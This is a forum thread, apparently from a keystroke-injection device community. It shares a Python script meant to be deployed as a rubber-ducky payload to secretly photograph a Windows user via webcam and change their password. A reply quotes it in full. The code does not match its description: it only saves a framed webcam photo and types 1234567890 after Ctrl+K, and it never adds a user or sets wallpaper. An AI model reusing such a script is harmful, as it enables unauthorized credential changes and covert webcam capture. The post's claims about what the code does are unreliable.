Jump to content

add user and change password credential login win 8,10,11


samcro

Recommended Posts

This is a script that takes a photo of the user, leaves it in facial recognition with a green frame on the PC or notebook, adds a user and changes the user's password, FINALLY it remains as wallpaper.

It is written in Python ver 2.7 and works for all versions.

 

ps to convert it into a rubber script we must upload it to dorpox generate link.

 

<---------------->

REM loook at me

import os
import cv2
import time
import win32api
import win32con
import pyautogui
import subprocess
import tkinter as tk


# Inicializar la cámara (start camera)
cap = cv2.VideoCapture(0)

# Tomar una foto (take photo)
ret, frame = cap.read()

# Mostrar la foto por 5 segundos (show pic 5 seconds)
cv2.imshow('Foto', frame)
cv2.waitKey(5000)
cv2.destroyAllWindows()

# Hacer un marco verde en la foto (make a green frame)
frame = cv2.rectangle(frame, (0, 0), (frame.shape[1], frame.shape[0]), (0, 255, 0), 10)

# Guardar la foto con el marco verde
cv2.imwrite('foto_con_marco.jpg', frame)

# Cambiar la contraseña de usuario (change user password)
win32api.keybd_event(0x11, 0, 0, 0) # Presionar la tecla "Control"
win32api.keybd_event(0x4B, 0, 0, 0) # Presionar la tecla "K"
win32api.keybd_event(0x4B, 0, win32con.KEYEVENTF_KEYUP, 0) # Soltar la tecla "K"
win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # Soltar la tecla "Control"

win32api.keybd_event(0x31, 0, 0, 0) # Presionar la tecla "1"
win32api.keybd_event(0x32, 0, 0, 0) # Presionar la tecla "2"
win32api.keybd_event(0x33, 0, 0, 0) # Presionar la tecla "3"
win32api.keybd_event(0x34, 0, 0, 0) # Presionar la tecla "4"
win32api.keybd_event(0x35, 0, 0, 0) # Presionar la tecla "5"
win32api.keybd_event(0x36, 0, 0, 0) # Presionar la tecla "6"
win32api.keybd_event(0x37, 0, 0, 0) # Presionar la tecla "7"
win32api.keybd_event(0x38, 0, 0, 0) # Presionar la tecla "8"
win32api.keybd_event(0x39, 0, 0, 0) # Presionar la tecla "9"
win32api.keybd_event(0x30, 0, 0, 0) # Presionar la tecla "0"

win32api.keybd_event(0x0D, 0, 0, 0) # Presionar la tecla "Enter"
 

 

Link to comment
Share on other sites

5 hours ago, samcro said:

This is a script that takes a photo of the user, leaves it in facial recognition with a green frame on the PC or notebook, adds a user and changes the user's password, FINALLY it remains as wallpaper.

It is written in Python ver 2.7 and works for all versions.

 

ps to convert it into a rubber script we must upload it to dorpox generate link.

 

<---------------->

REM loook at me

import os
import cv2
import time
import win32api
import win32con
import pyautogui
import subprocess
import tkinter as tk


# Inicializar la cámara (start camera)
cap = cv2.VideoCapture(0)

# Tomar una foto (take photo)
ret, frame = cap.read()

# Mostrar la foto por 5 segundos (show pic 5 seconds)
cv2.imshow('Foto', frame)
cv2.waitKey(5000)
cv2.destroyAllWindows()

# Hacer un marco verde en la foto (make a green frame)
frame = cv2.rectangle(frame, (0, 0), (frame.shape[1], frame.shape[0]), (0, 255, 0), 10)

# Guardar la foto con el marco verde
cv2.imwrite('foto_con_marco.jpg', frame)

# Cambiar la contraseña de usuario (change user password)
win32api.keybd_event(0x11, 0, 0, 0) # Presionar la tecla "Control"
win32api.keybd_event(0x4B, 0, 0, 0) # Presionar la tecla "K"
win32api.keybd_event(0x4B, 0, win32con.KEYEVENTF_KEYUP, 0) # Soltar la tecla "K"
win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP, 0) # Soltar la tecla "Control"

win32api.keybd_event(0x31, 0, 0, 0) # Presionar la tecla "1"
win32api.keybd_event(0x32, 0, 0, 0) # Presionar la tecla "2"
win32api.keybd_event(0x33, 0, 0, 0) # Presionar la tecla "3"
win32api.keybd_event(0x34, 0, 0, 0) # Presionar la tecla "4"
win32api.keybd_event(0x35, 0, 0, 0) # Presionar la tecla "5"
win32api.keybd_event(0x36, 0, 0, 0) # Presionar la tecla "6"
win32api.keybd_event(0x37, 0, 0, 0) # Presionar la tecla "7"
win32api.keybd_event(0x38, 0, 0, 0) # Presionar la tecla "8"
win32api.keybd_event(0x39, 0, 0, 0) # Presionar la tecla "9"
win32api.keybd_event(0x30, 0, 0, 0) # Presionar la tecla "0"

win32api.keybd_event(0x0D, 0, 0, 0) # Presionar la tecla "Enter"

 

lol...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...